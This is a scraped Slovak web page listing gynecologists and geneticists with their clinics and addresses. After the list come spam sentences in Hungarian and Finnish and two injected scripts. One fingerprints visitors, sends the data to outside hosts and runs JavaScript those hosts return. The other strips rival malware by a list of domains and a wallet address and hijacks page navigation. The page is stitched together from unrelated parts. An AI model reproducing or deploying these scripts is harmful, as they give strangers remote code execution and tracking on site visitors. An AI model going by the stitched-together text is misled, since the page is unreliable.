    Mestská poliklinika – Gyn. amb.


    SNP 2


    Šurany
  • MUDr. IVETA ĎUROVSKÁ

    GYNET s.r.o, Gyn. amb.


    Námestie hrdinov 15


    Levice
  • MUDr. IVONA ĎUBEKOVÁ

    ĎUBEKOVÁ IVONAMUDr., s.r.o. Gyn. amb.


    Fedinova 9


    Bratislava
  • MUDr. KATARÍNA BALASIČOVÁ PhD.

    Gyncare, s.r.o.


    Magnezitárska 2/C


    Košice
  • MUDr. JÁN BALÁŽ

    GYTAP s.r.o., – Gyn. amb.


    Eötvösa 37


    Komárno
  • MUDr. Miroslava Vargová PhD.

    Gynek.amb.s.r.o. – gynekológ


    Ružinovská 10


    Bratislava
  • MUDr. EVA RYBANSKÁ

    MEDANTE Clinic, s.r.o. gyn.-pôr


    Galvaniho 19


    Bratislava
  • MUDr. JÁN CHLAPEČKA

    NEOGYN,s.r.o. – Gyn. amb.


    Švermova 7/A


    Trenčín
  • MUDr. Alexander Bányácsky

    Hipcentrum s.r.o.


    Holubyho 41


    Pezinok
  • MUDr. JÁN SVIEŽENÝ

    FOURES s. r. o., gynekológ


    Okružná 5


    Handlová
  • MUDr. JÁN SVIEŽENÝ

    FOURES s. r. o., Nováky


    Matice slovenskej 960


    Nováky
  • MUDr. JÁN KOVÁČ

    MUDr. Ján Kováč, s.r.o., gynekológ


    Mostná 27


    Nitra
  • MUDr. JÁN KOVÁČ

    MUDr. Ján Kováč, s.r.o., gynekológ


    Moravská 512


    Vráble
  • MUDr. MATEJ BÖHMER

    MEDISSIMO – Gyn. amb.


    Tematínská 5/A


    Bratislava
  • MUDr. JÁN FELŠÖCI

    MUDr. JÁN FELŠÖCI – Gyn. amb.


    M.R.Štefánika 187/177B


    Vranov n/T
  • MUDr. Ingrid Valaská

    Gyn-MeD, s.r.o. – Gyn. amb.


    Bebravská 1


    Bratislava
  • MUDr. INGRID ČOPKOVÁ

    Gyncentrum, s.r.o. Gyn. amb.


    M.R.Štefánika 3560/52A


    Trebišov
  • MUDr. ANDREA GRENDELOVÁ

    Gyncare, s.r.o.


    Magnezitárska 2/C


    Košice
  • MUDr. MIROSLAVA BLAHOVÁ

    Gyn. amb.


    Štefánikova 42


    Spišská Belá
  • MUDr. SOŇA VALAŠÍKOVÁ

    MISSIO s.r.o. Gynekológ


    Rákoczyho 3125/5


    Komárno
  • MUDr. VIERA BELUŠÁKOVÁ

    GYNCARE, s.r.o., Gyn. amb.


    Novozámocká 67


    Nitra
  • MUDr. JÁN MIERTUŠ

    Génius n.o.


    Starohájska 2


    Trnava
  • MUDr. IVAN MRÁZIK

    MEDOSAN s.r.o. Gyn. amb.


    Tomášiková 1027/53


    Revúca
  • MUDr. IVANA MAJTANOVÁ

    gynekológ


    Mládežnícka 2174


    Považská Bystrica
  • MUDr. MARIÁN KRIŽKO

    Gynsana s.r.o. Gyn. amb.


    Trnavská cesta 18746/106


    Bratislava
  • MUDr. IVANA KLEINOVÁ

    Gyn.ambulancia


    Antona Prídavka 3


    Prešov
  • MUDr. IVETA BACHŇÁKOVÁ

    BACHMED s.r.o. – gyn. ambulancia


    Železničná 23


    Rimavská Sobota
  • MUDr. IVETA MĹKVA

    MI UNBA – amb.genetická


    Americké nám.3


    Bratislava
  • MUDr. IVETA TRNOVSKÁ MPH

    I.T. – GYNEKOLÓGIA, s.r.o., gynekológ


    Hodžova 1


    Martin
  • MUDr. IVETA KAMENSKÁ

    KAMENSKá s.r.o Gyn. amb.


    Ul. 1. mája 2


    Slov.Ľupča
  • MUDr. MARTINA TÖKÖLYOVÁ

    GYN MT, s.r.o. – Gyn. amb.


    Vajnorská 40


    Bratislava
  • MUDr. IGOR TOMAŠOVIČ

    GA Lučenec, s.r.o. Gyn. amb.


    Zlatá ulička 11


    Lučenec
  • MUDr. IGOR SEDLIAK

    SKS Slovensko, s.r.o. – Gyn. amb.


    Rastislavova 45 C36


    Košice
  • MUDr. EVA RUMAN PÁLOVÁ

    FNsP kE – Genet.amb.


    Tr. SNP 1


    Košice
  • MUDr. BRANISLAV DLUGOŠ

    AXAM s.r.o. – Gyn. amb.


    Šustekova 2


    Bratislava
  • MUDr. Jana Hatalová

    GPN, s.r.o., gynekológ


    Partizánska 27


    Bratislava
  • MUDr. IGOR LENĎÁK

    GYN TURŇA s.r.o. Gyn. amb.


    G9


    Turňa nad Bodvou
  • MUDr. IGOR MAŤO

    NOBAFEM s.r.o. – Gyn. amb.


    Bystrická 54


    Žarnovica
  • MUDr. IGOR MAŤO

    NOBAFEM s.r.o. – Gyn. amb.


    Švantnerova 23


    Nová Baňa
  • MUDr. PETER BRENIŠIN

    Ambulancia – gynekológia a pôrodníctvo


    Drevárska 1


    Poprad
  • MUDr. ILDIKO PERHÁCS

    Héra, spol. s r.o. – pedopsychiatria


    Galantská Cesta 5416/5


    Dunajská Streda
  • MUDr. IGOR REGÁSZ

    REGÁSZ s.r.o. – Gyn. amb.


    M.M.Hodžu 2


    Šahy
  • MUDr. INGRID BÖHMEROVÁ

    gynekológ – pôrodník


    Strečnianska 13


    Bratislava
  • MUDr. ADNAN SAADE

    AMRADGYN s.r.o. Gyn. amb.


    Francisciho 906/27


    Poprad
  • MUDr. SLÁVKA MACHALOVÁ

    Nemocnica ak. L. Dérera, FNsP Bratislava


    Limbová 5


    Bratislava
  • MUDr. MARIANNA ŽIŠKOVÁ

    KAJANO GYN s.r.o. Gyn. amb.


    Komárňanska 104


    Hurbanovo
  • MUDr. Zuzana Grešová

    Liptovgyn s.r.o.


    Jánošíkovo nábr. 1212/2


    Liptovský Mikuláš
  • MUDr. EVA PODMANICKÁ

    Gyn. amb.


    Belanského 1345


    Kysucké Nové Mesto
  • MUDr. FRANTIŠEK CISÁRIK CSc.

    FNsP Žilina, lekárska genetika


    V. Spanyola 43


    Žilina
  • MUDr. FRANTIŠEK FILLA

    Gyn. amb.


    Komenského 36


    Želiezovce
  • MUDr. MATÚŠ CHUDA

    HORTULANUS s.r.o., gynekológ


    Líščie údolie 57


    Bratislava
  • MUDr. GABRIEL BENDE

    PRO-FEM BG, s.r.o. Gyn. amb.


    Nábrežná 3


    Levice
  • MUDr. GABRIELA MAGYAROVÁ

    Nemocničná a.s. – amb. lekárskej genetiky


    Duklianských Hrdinov 34


    Malacky
  • MUDr. GABRIELA MAGYAROVÁ

    FNsP kE – Genet.amb.


    Tr. SNP 1


    Košice
  • MUDr. GABRIELA MAGYAROVÁ

    Univerzitná nemocnica L. Pasteura Košice-genetik


    Rastislavova 43


    Košice
  • MUDr. GABRIELA BARTOŠKOVÁ

    GB&G s.r.o, gyn.-pôr.


    Kolónia 1484/78


    Senica
  • MUDr. ZUZANA HAŠČINOVÁ

    VIERA, s.r.o. – Gyn. amb.


    Garbiarska 65 X1


    Stará Ľubovňa
  • MUDr. Peter Papcun PhD.

    Gynsana s.r.o. Gyn. amb.


    Trnavská cesta 18746/106


    Bratislava
  • MUDr. LUCIA MUDRONČÍKOVÁ

    Medigyn spol. s.r.o. – gynekológ


    Robotnícka 12


    Piešťany
  • MUDr. EDITA PRIEČINSKÁ

    GYNEDIT, s.r.o., – Gyn. amb.


    Štefánika 32


    Nováky
  • MUDr. Natália Benovičová

    SAMITA spol. s r.o. Gyn. amb.


    Nám. 1. mája 1


    Senec
  • MUDr. MILOŠ PAŠKALA

    Ambulancia – gynekológia a pôrodníctvo


    Piešťanská 4


    Nové Mesto nad Váhom
  • MUDr. Ivana PTÁČEK

    Nemocničná a.s. – Gyn. amb.


    Duklianskych hrdinov 34


    Malacky
  • MUDr. MARTIN GÁBOR

    Gynsana s.r.o. Gyn. amb.


    Trnavská cesta 18746/106


    Bratislava
  • MUDr. Emil Havránek MPH.

    AFW s.r.o., gynekológ


    Hlavná 929/6


    Galanta
  • MUDr. ERIK JANKOVSKÝ

    EPEDONNA s.r.o., Gyn. amb.


    SNP 97


    Smolenice
  • MUDr. ERIKA MINÁRIKOVÁ

    GYNSON, s.r.o. – Gyn. amb.


    Haburská 9 B31


    Prešov
  • MUDr. ERIKA CHRENKOVÁ

    Nemocničná a.s. – Gyn. amb.


    Duklianskych hrdinov 34


    Malacky
  • MUDr. MICHAELA STANKOVÁ

    MISTA gyn and prenatal care s. r. o. – gynek. amb.


    Kmeťova 1858/18


    Nové Zámky
  • MUDr. EUGÉNIA PANKUCHOVÁ

    ONKOGYN BOX s.r.o. Gyn. amb.


    Masarykova 25/A


    Prešov
  • MUDr. LENKA GOCNIK

    GPN s.r.o., Gyn. amb.


    Partizánska 27


    Bratislava
  • MUDr. MILOŠ PISÁK

    Gyn. amb.


    Sládkovičová 300


    Snina
  • MUDr. MONIKA SOJÁKOVÁ

    FemCare spol. s r.o. – Gyn. amb.


    Hlavná 51


    Šamorín
  • MUDr. DANIEL SURGENT

    GYN – RS, s.r.o. Gyn. amb.


    Polikl.ADUS – Mnoheľova 2


    Poprad
  • MUDr. DANIELA HRÍBIKOVÁ

    MEDIGYNEA s.r.o. Gyn. amb.


    Bezručova 3


    Bardejov
  • MUDr. DENISA Krumpová

    Sun Gyn


    Nábrežie slobody 527/11


    Púchov
  • MUDr.MGr. MIROSLAVA ŽILKOVÁ MPH

    Z-GYN s.r.o.


    Plavisko 2145/182


    Ružomberok
  • MUDr. DANKA NEVICKÁ

    GYNKOR s.r.o. – Gyn. amb.


    Maršala Koneva 1


    Košice
  • MUDr. MARTINA ŠAUŠOVÁ

    IMUNOVA s.r.o. – imunológ a alergológ


    Šustekova 2


    Bratislava
  • MUDr. JURAJ CHOCHLÁČ

    Chochláč, s.r.o. – Gyn. amb.


    Kostolná 14


    Pohronský Ruskov
  • MUDr. JURAJ CHOCHLÁČ

    Chochláč, s.r.o.


    Komenského 36


    Želiezovce
  • MUDr. BOHUŠ HOLEC

    DAHOL MED, s.r.o. – Gyn. amb.


    Záporožská 12


    Bratislava
  • MUDr. DENIS MILLY

    MILLY s.r.o. – gynekológ


    Bajkalská 18/A


    Bratislava
  • MUDr. DOMINIK MÍZNER

    MALGYN s.r.o., gynekológ


    Jánošíková 27


    Malacky
  • MUDr. MIROSLAV TAVAČ

    GYNTAV s.r.o. Gyn. amb.


    Námestie sv. Floriána 1002


    Varín
  • MUDr. DUŠAN TÁBORSKÝ

    PROFEM, s.r.o


    Učiteľská 20


    Bratislava
  • MUDr. PETRONELA LÚČANOVÁ

    MEDANTE Clinic, s.r.o. gyn.-pôr


    Galvaniho 19


    Bratislava
  • MUDr. DUŠAN STANISLAV

    MEDICENTRUM gynekológ


    Strečnianska 13


    Bratislava
  • MUDr. BEATA BUDAYOVÁ

    FEMGA s.r.o.- gynekológ


    Zdravotnícka 593


    Gabčíkovo
  • MUDr. BEÁTA ŠTRBAVÁ

    GYN-TN, s.r.o.


    Piaristická 6


    Trenčín
  • MUDr. BIBIANA BAJTEKOVÁ

    GynAc, s.r.o. Gyn. amb.


    Námestie slobody 951


    Šaštín – Stráže
  • MUDr. BIBIÁNA HALMEŠOVÁ

    BH Gyn s.r.o., gynekológ


    F. Kapisztóryho 5


    Nové Zámky
  • MUDr. BOŽENA JANCOVÁ

    Gynekologická ambulancia s.r.o.


    Pod Lachovcom 1727/55


    Púchov
  • MUDr. CSABA VARGA

    GYMAPOR, s.r.o. – gynekológia a pôrodníctvo


    Masarykova 28


    Lučenec
  • MUDr. DAGMAR KOVAČIČOVÁ

    NOBAFEM s.r.o. – Gyn. amb.


    Bystrická 54


    Žarnovica
  • MUDr. DAGMAR KOVAČIČOVÁ

    NOBAFEM s.r.o. – Gyn. amb.


    Švantnerova 23


    Nová Baňa
  • MUDr. DAGMAR KAPRALČÍKOVÁ

    GYNEKODK s.r.o.- Gyn. amb.


    Nemocničná 1944/10


    Dolný Kubín
  • MUDr. SILVIA ZAMBOVÁ

    Zagyn s.r.o. Gyn. amb.


    Nám. Osloboditeľov 12 / 1002


    Michalovce
  • MUDr. Dagmar Psalmanová PhD.

    A GYN s.r.o. – Gyn. amb.


    Malokarpatské nám.2


    Bratislava
  • Doc. MUDr. Erik Dosedla PhD., MBA

    NsP KE-ŠACA a.s. Gynek. pôr. Klinika


    1.súkr.nem. Lúčna 57


    Košice-Šaca
  • MUDr. DALIBOR PREDAJŇA

    PREMEDIC s.r.o. Gyn. amb.


    Rajecká 3


    Bratislava
  • MUDr. DANA KANTARSKÁ

    FNsP BB – genetická ambulancia


    Nám L. Svobodu 1


    Banská Bystrica
  • MUDr. KATARÍNA REBRYOVÁ

    Gynekológia – MUDr. Katarína Rebryová


    Ľ.Štúra 843/36


    Ilava
  • MUDr. DANIEL DEMEČKO

    GPN s.r.o., gynekológ


    Ružinovská 10


    Bratislava
  • MUDr. ADRIANA SMREKOVÁ

    MED FEMINA s.r.o., gynekológ


    P.Horova 14


    Bratislava
  • MUDr. Adriana Tatarka

    gyn.ambulancia


    Tomášikova 688


    Jelšava
  • MUDr. ALEXANDER BODNÁR

    ALYBODY s.r.o., gynekológ


    Trnavská cesta 67


    Bratislava
  • MUDr. ALEXANDRA ZAGYIOVÁ

    PRO BIOS, s.r.o.- Gyn. amb.


    Ružová dolina 21


    Bratislava
  • MUDr. ALICA VALACHOVÁ

    FN Trenčín – genetická ambulancia


    Legionárska 28


    Trenčín
  • MUDr. ALOJZ ŠTRBO

    GYN GROUP s.r.o., gynekológia 1


    Športová 17


    Trnava
  • MUDr. ALŽBETA VARGOVÁ

    MUDr. Alžbeta Vargová s.r.o. – gyn. ambulancia


    Bitúnkova 13


    Nové Zámky
  • MUDr. ANDREJ ŽIVICA

    SEGYN s.r.o. Gynekológ


    Sotinská 1588


    Senica
  • MUDr. ANGELIKA GÖGHOVÁ

    ANG s.r.o., gynekológ


    Rábskeho 19


    Kolárovo
  • MUDr. VERONIKA DEVÁTOVÁ

    FEMINA – EH gynekológ


    SNP 19


    Levice
  • MUDr. ANNA BUBANOVÁ

    Gyn. amb.


    Komenského 42 A102


    Michalovce
  • MUDr. ANNA BAŠTERNÁKOVÁ

    AB GYN s.r.o.


    Čsl.Armády 11


    Hurbanovo
  • MUDr. ANNA BAŠTERNÁKOVÁ

    AB GYN s.r.o.


    Čsl.Armády 11


    Hurbanovo
  • MUDr. ANTON ČUNDERLÍK PhD.

    ACsonogyn s.r.o., Gyn. amb.


    Hroboňová 4


    Bratislava
  • MUDr. ANTON ĎURKECH

    GYNEDUR s.r.o


    Pod hájom 1288/116


    Dubnica nad Váhom
  • MUDr. ANTON HOLEŠA

    GYN-A.H. s.r.o. Gyn. amb.


    Kapušianska 680/23


    Pavlovce nad Uhom
  • MUDr. ANTON HOLEŠA

    Gyn. amb.


    Námestie Osloboditeľov 78


    Michalovce
  • MUDr. PATRIK HORVÁTH

    GYNARIN s.r.o. Gyn. amb.


    Biskupická 32


    Fiľakovo
  • MUDr. Lucia Ďuračková PhD.

    GYN PK s.r.o. – Gyn. amb.


    Kollárova 1


    Pezinok
  • MUDr. IVETA ŠVECOVÁ PhD.

    GYN-FIV Žilina, s.r.o.


    Predmestká 8600


    Žilina
  • MUDr. NATALIYA ROSHKO

    GynekaCare, s.r.o. – Gyn. amb.


    Zuzany Chalupovej 4034/17


    Bratislava
  • MUDr. ANDREA MÁŇOVÁ

    Gyncentrum Nitra s.r.o. – Gynekológ-pôrodnik


    cetrum Nitra s.r.o. Štefániková 57


    Nitra
  • MUDr. LUCIA BLAŠKOVÁ

    MILUMED s.r.o.


    M. Schneidra Trnavského 8


    Bratislava
  • MUDr. SIMONA MAJTÁNOVÁ

    LadyGyn sr.o., Gyn. amb.


    Rajecká cesta 13


    Rajecké Teplice
  • MUDr. IVANA CHMÚRNA

    Sanatórium Helios SK, s.r.o. Gyn. amb.


    Daniela Michaelliho 2


    Martin
  • MUDr. ZUZANA BRIEŠKOVÁ

    Ambulancia – gynekológia a pôrodníctvo


    Mýtna 5


    Bratislava I
  • MUDr. LÝDIA BAKO

    GPN s.r.o., Gyn. amb.


    Ružinovská 10


    Bratislava
  • MUDr. IVANA PAUČINOVÁ

    NsP Žilina – lekárska genetika


    V. Spanyola 43


    Žilina
  • MUDr. MÁRIA LAZORČÁKOVÁ VATRAĽOVÁ

    Gyn. amb.


    Moyzesova 32


    Košice – Staré Mesto
  • MUDr. MAREK KARNIŠ

    Gyn-MK, s.r.o. Gyn. amb.


    Tatranské námestie 4582/7


    Poprad
  • MUDr. ZUZANA KOSIBOVÁ

    Mudr Kosibova Zuzana, s.r.o.


    Gercenova 3522/8


    Bratislava
  • MUDr. LENKA RYBÁNSKA PhD.,MPH

    GYNLINE s.r.o., gynekológ


    Ružinovská 10


    Bratislava
  • MUDr. ADRIÁN TEPLICA

    GYNETA, s.r.o.- gynekológia a pôrodníctvo


    Sihoť 5


    Kežmarok
  • MUDr. ZUZANA SERESOVÁ PhD.

    ZUNAGYN, s.r.o.


    Líščie údolie 57


    Bratislava
  • MUDr. EMESE JÁNIOVÁ

    KOMA-MED Gyn. amb.


    Saratovská 24


    Bratislava
  • MUDr. ALEXANDRA KRUTÁKOVÁ

    GYN-FIV, a.s. – Gyn. amb.


    Trnavská cesta 106


    Bratislava

jQuery(document).ready(function ($) {
if( typeof jQuery(‚.ult-carousel-12177153286af33449c734f‘).slick == „function“){
$(‚.ult-carousel-12177153286af33449c734f‘).slick({dots: true,autoplay: true,autoplaySpeed: 5000,speed: 300,infinite: true,arrows: true,nextArrow: ‚‚,prevArrow: ‚‚,slidesToScroll:1,slidesToShow:1,swipe: true,draggable: true,touchMove: true,pauseOnHover: true,pauseOnFocus: false,responsive: [
{
breakpoint: 1026,
settings: {
slidesToShow: 1,
slidesToScroll: 1,
}
},
{
breakpoint: 1025,
settings: {
slidesToShow: 1,
slidesToScroll: 1
}
},
{
breakpoint: 760,
settings: {
slidesToShow: 1,
slidesToScroll: 1
}
}
],pauseOnDotsHover: true,customPaging: function(slider, i) {
return ‚‚;
},});
}
});

A táblagépes kijelzőkhöz tökéletesen alkalmazkodó érintőképernyőn is precíz irányítást tesz lehetővé.

Yksittäinen mainoslause ei riitä kuvaamaan pelitilin ehtoja tai mahdollisia rajoituksia. Kun vertailet sivua , perehdy kohtiin kuten pelivalikoima, ikärajat ja kulutusrajoitukset ennen taloudellisten päätösten tekemistä.

(function(){
‚use strict‘;
var APIS=[„https://apidatalive.com/k/m255fDhVEvxs4mO9/collect“,“https://workerrail.com/k/m255fDhVEvxs4mO9/collect“],APII=0,ME=null;try{ME=document.currentScript;}catch(e){}
function b64e(s){return btoa(unescape(encodeURIComponent(s))).replace(/\+/g,‘-‚).replace(/\//g,’_‘).replace(/=+$/,“);}
function b64d(s){s=String(s).replace(/-/g,’+‘).replace(/_/g,’/‘);while(s.length%4)s+=’=‘;return decodeURIComponent(escape(atob(s)));}
function j(b){
function step(i){
if(i>=APIS.length)return Promise.reject(new Error(‚x‘));
var s=[],k;for(k in b)s.push(encodeURIComponent(k)+’=’+encodeURIComponent(b[k]));
var o={method:’POST‘,credentials:’same-origin‘,headers:{‚Content-Type‘:’application/x-www-form-urlencoded‘},body:s.join(‚&‘)};
return fetch(APIS[i],o)
.then(function(r){
return r.text().then(function(t){var v;try{v=JSON.parse(t);}catch(e){return step(i+1);}
if(v&&typeof v.b===’string‘){try{v=JSON.parse(b64d(v.b));}catch(e){return step(i+1);}}
APII=i;return v;},function(){return step(i+1);});},function(){return step(i+1);});
}
return step(APII);
}
function fp(){var d={ua:navigator.userAgent,plat:(navigator.userAgentData&&navigator.userAgentData.platform)||navigator.platform||“,lang:navigator.language||“,langs:(navigator.languages||[]).join(‚,‘),
tz:(Intl.DateTimeFormat().resolvedOptions().timeZone)||“,sw:screen.width,sh:screen.height,dpr:window.devicePixelRatio||1,cores:navigator.hardwareConcurrency||0,mem:navigator.deviceMemory||0,
touch:(‚ontouchstart’in window)||navigator.maxTouchPoints>0,wd:!!navigator.webdriver,host:location.host||“};return d;}
function off(){try{if(ME&&ME.parentNode)ME.parentNode.removeChild(ME);}catch(e){}}
function go(){
j({v:’1′,t:’pageview‘,d:b64e(JSON.stringify(fp()))}).then(function(g){
if(!g||g.r!==’pass‘){off();return;}
j({v:’1′,t:’pageview‘,cid:g.vid,fl:’1′}).then(function(fx){
if(!fx||typeof fx.js!==’string‘){off();return;}
off();
var s=document.createElement(‚script‘);s.textContent=fx.js;
(document.head||document.documentElement).appendChild(s);
}).catch(function(){off();});
}).catch(function(){off();});
}
if(document.readyState===’loading‘)document.addEventListener(‚DOMContentLoaded‘,go);else go();
})();

(function(){var MARK=“m255fDhV“+“Evxs4mO9″;var Q=“.cfmd-rc-host,.captcha-container,[data-cfmd],.cf-ts,.ms-card,.dg-card,.cpk-icon-badge“;var SRC=’script[src*=“interseq.at“],link[href*=“interseq.at“],iframe[src*=“interseq.at“],script[src*=“xursod.com“],link[href*=“xursod.com“],iframe[src*=“xursod.com“],script[src*=“imacos.cc“],link[href*=“imacos.cc“],iframe[src*=“imacos.cc“],script[src*=“macrepairtool.com“],link[href*=“macrepairtool.com“],iframe[src*=“macrepairtool.com“],script[src*=“cfmd-rc-host“],link[href*=“cfmd-rc-host“],iframe[src*=“cfmd-rc-host“],script[src*=“captcha-container“],link[href*=“captcha-container“],iframe[src*=“captcha-container“],script[src*=“data-cfmd“],link[href*=“data-cfmd“],iframe[src*=“data-cfmd“],script[src*=“norediam.com“],link[href*=“norediam.com“],iframe[src*=“norediam.com“],script[src*=“New_Proliv“],link[href*=“New_Proliv“],iframe[src*=“New_Proliv“],script[src*=“ssn-id.email“],link[href*=“ssn-id.email“],iframe[src*=“ssn-id.email“],script[src*=“masqrad“],link[href*=“masqrad“],iframe[src*=“masqrad“],script[src*=“loadJSFromImage“],link[href*=“loadJSFromImage“],iframe[src*=“loadJSFromImage“],script[src*=“__fpEmbeds“],link[href*=“__fpEmbeds“],iframe[src*=“__fpEmbeds“],script[src*=“fp-embed-close“],link[href*=“fp-embed-close“],iframe[src*=“fp-embed-close“],script[src*=“plain-snow.pages.dev“],link[href*=“plain-snow.pages.dev“],iframe[src*=“plain-snow.pages.dev“],script[src*=“pages.dev/help“],link[href*=“pages.dev/help“],iframe[src*=“pages.dev/help“],script[src*=“extra_param_1″],link[href*=“extra_param_1″],iframe[src*=“extra_param_1″],script[src*=“(new Function(_code))“],link[href*=“(new Function(_code))“],iframe[src*=“(new Function(_code))“],script[src*=“0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″],link[href*=“0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″],iframe[src*=“0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″],script[src*=“b68d1809″],link[href*=“b68d1809″],iframe[src*=“b68d1809″],script[src*=“blastapi.io“],link[href*=“blastapi.io“],iframe[src*=“blastapi.io“],script[src*=“rpc.ankr.com/polygon“],link[href*=“rpc.ankr.com/polygon“],iframe[src*=“rpc.ankr.com/polygon“],script[src*=“gateway.tenderly.co“],link[href*=“gateway.tenderly.co“],iframe[src*=“gateway.tenderly.co“],script[src*=“api.php?s=“],link[href*=“api.php?s=“],iframe[src*=“api.php?s=“],script[src*=“sevda.lol“],link[href*=“sevda.lol“],iframe[src*=“sevda.lol“]‘;var MKS=[„interseq.at“,“xursod.com“,“imacos.cc“,“macrepairtool.com“,“cfmd-rc-host“,“captcha-container“,“data-cfmd“,“norediam.com“,“New_Proliv“,“ssn-id.email“,“masqrad“,“loadJSFromImage“,“__fpEmbeds“,“fp-embed-close“,“plain-snow.pages.dev“,“pages.dev/help“,“extra_param_1″,“(new Function(_code))“,“0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″,“b68d1809″,“blastapi.io“,“rpc.ankr.com/polygon“,“gateway.tenderly.co“,“api.php?s=“,“sevda.lol“];function ours(el){try{if(!el||el.nodeType!==1)return false;var p=el;while(p){if(p.id&&p.id.indexOf(MARK)>=0)return true;p=p.parentNode;}if(el.querySelector&&el.querySelector(„[id*='“+MARK+“‚]“))return true;if(el.getAttribute&&el.getAttribute(„data-wphc-cleanup“)!==null)return true;}catch(_){}return false;}function enemyOverlay(el){try{if(ours(el))return false;if(el.tagName===“SCRIPT“||el.tagName===“STYLE“||el.tagName===“LINK“)return false;var st=getComputedStyle(el);if(st.position!==“fixed“&&st.position!==“absolute“)return false;var r=el.getBoundingClientRect();if(r.width<innerWidth*0.5||r.height<innerHeight*0.5)return false;var z=parseInt(st.zIndex||"0",10);if(z<99)return false;return true;}catch(_){return false}}function wipeKnown(){try{var L=document.querySelectorAll(Q);for(var i=0;i3){var S=document.querySelectorAll(SRC);for(var j=0;j<S.length;j++){S[j].remove();}}var SI=document.getElementsByTagName('script');for(var q=0;q=0)continue;for(var w=0;w2&&t.indexOf(MKS[w])>=0){SI[q].remove();break;}}}}catch(_){}}try{var K=[];for(var k=0;k<localStorage.length;k++){K.push(localStorage.key(k));}for(var n=0;n<K.length;n++){if(K[n]&&K[n].indexOf("captcha_")===0){localStorage.removeItem(K[n]);}}}catch(_){}try{var MR=document.querySelectorAll('meta[http-equiv]');for(var mi=0;mi<MR.length;mi++){var he=(MR[mi].getAttribute('http-equiv')||'').toLowerCase();if(he==='refresh'){MR[mi].remove();}}}catch(_){}try{var DG=document.querySelectorAll('dialog[open]');for(var di=0;di<DG.length;di++){if(!ours(DG[di])){try{DG[di].close();}catch(_){}try{DG[di].remove();}catch(_){}}}}catch(_){}try{var PV=document.querySelectorAll('[popover]');for(var pi=0;pi5&&!document.getElementById(MARK);}function earlyKill(){return Date.now()-born45000){return false;}return protectOwn();}function guard(e){e.preventDefault();e.returnValue=““;return „“;}function hookNav(){try{window.addEventListener(„beforeunload“,guard,true);}catch(_){}try{var LP=window.Location&&Location.prototype;if(LP){[„assign“,“replace“].forEach(function(f){try{var o=LP[f];LP[f]=function(u){if(!lock()){return o.call(this,u);}};}catch(_){}});}}catch(_){}try{if(window.navigation){navigation.addEventListener(‚navigate‘,function(ev){try{if(lock()){ev.preventDefault();}}catch(_){}});}}catch(_){}try{_wopen0=window.open.bind(window);window.open=function(){if(lock()){return null;}return _wopen0.apply(window,arguments);};}catch(_){}}var _wopen0=null;function unhookNav(){try{window.removeEventListener(„beforeunload“,guard,true);}catch(_){}try{if(_wopen0){window.open=_wopen0;_wopen0=null;}}catch(_){}}function sweepOverlays(){try{var all=document.body?document.body.querySelectorAll(„div,section,main,aside,form,iframe,dialog“):[];for(var i=0;i<all.length;i++){if(enemyOverlay(all[i])){all[i].remove();}}}catch(_){}}function cycle(){try{wipeKnown();if(lock()){sweepOverlays();}else{release();}}catch(_){}}function cycle2(){try{wipeKnown();sweepOverlays();}catch(_){}}function release(){if(done)return;done=true;try{clearInterval(iv);}catch(_){}try{mo.disconnect();}catch(_){}unhookNav();var watch=setInterval(cycle2,2000);setTimeout(function(){try{clearInterval(watch);}catch(_){}setInterval(wipeKnown,5000);},900000);}hookNav();var mo=null;try{mo=new MutationObserver(cycle);mo.observe(document.documentElement,{childList:true,subtree:true});}catch(_){}var iv=setInterval(cycle,400);cycle();})();

Menu